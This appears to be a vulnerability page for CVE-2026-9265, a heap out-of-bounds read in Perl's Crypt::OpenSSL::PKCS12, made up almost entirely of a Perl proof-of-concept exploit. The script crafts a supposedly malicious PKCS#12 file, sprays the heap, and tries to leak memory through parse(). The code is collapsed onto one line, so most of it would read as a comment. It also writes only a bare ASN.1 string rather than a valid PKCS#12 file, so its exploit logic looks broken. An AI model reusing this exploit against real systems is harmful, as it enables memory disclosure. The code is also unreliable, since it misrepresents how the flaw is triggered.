CVE-2026-9265：Perl Crypt::OpenSSL::PKCS12堆缓冲区越界读取漏洞

#!/usr/bin/env perl # CVE-2026-9265 PoC - Heap OOB Read in Crypt::OpenSSL::PKCS12 print_attribute() # This PoC demonstrates the vulnerability by crafting a malicious PKCS#12 file # with a UTF8STRING ASN.1 attribute that triggers heap out-of-bounds read. use strict; use warnings; use Crypt::OpenSSL::PKCS12; # Create a malicious PKCS#12 file with crafted ASN.1 UTF8STRING attribute # The key is to create an attribute value that: # 1. Is exactly sized to its declared length (no NUL terminator after strncpy) # 2. Is followed by sensitive data in adjacent heap memory sub craft_malicious_pkcs12 { my $filename = shift; # Create a minimal PKCS#12 structure with a UTF8STRING attribute # that will trigger the vulnerability in print_attribute() # First, allocate some heap buffers to control memory layout my @spray = (); for my $i (0..100) { push @spray, "A" x 64; # Heap spray to control adjacent memory } # Create PKCS#12 content with malicious UTF8STRING attribute # The attribute value length matches buffer size exactly my $attr_value = "B" x 32; # No NUL terminator # Build ASN.1 structure manually my $asn1_data = pack("C", 0x0c) . # UTF8STRING tag pack("C", 32) . # Length = 32 (exact buffer size) $attr_value; # Value without NUL terminator open(my $fh, '>', $filename) or die "Cannot create file: $!"; binmode($fh); print $fh $asn1_data; close($fh); } # Main exploit routine my $malicious_file = "/tmp/malicious.p12"; craft_malicious_pkcs12($malicious_file); print "[*] Malicious PKCS#12 file created: $malicious_file\n"; print "[*] Attempting to parse with vulnerable Crypt::OpenSSL::PKCS12...\n"; # This call will trigger the heap OOB read vulnerability # The print_attribute() function will: # 1. strncpy the UTF8STRING value into a heap buffer (no NUL terminator) # 2. strlen() will read beyond buffer boundary # 3. newSVpvn() will copy OOB heap data into Perl scalar my $pkcs12 = Crypt::OpenSSL::PKCS12->new; # Use eval to catch potential crashes eval { # The vulnerable parsing path $pkcs12->parse($malicious_file, "password"); }; if ($@) { print "[!] Error during parsing: $@\n"; } else { print "[*] Parsing completed - check for OOB data leak\n"; } print "[*] PoC execution completed\n";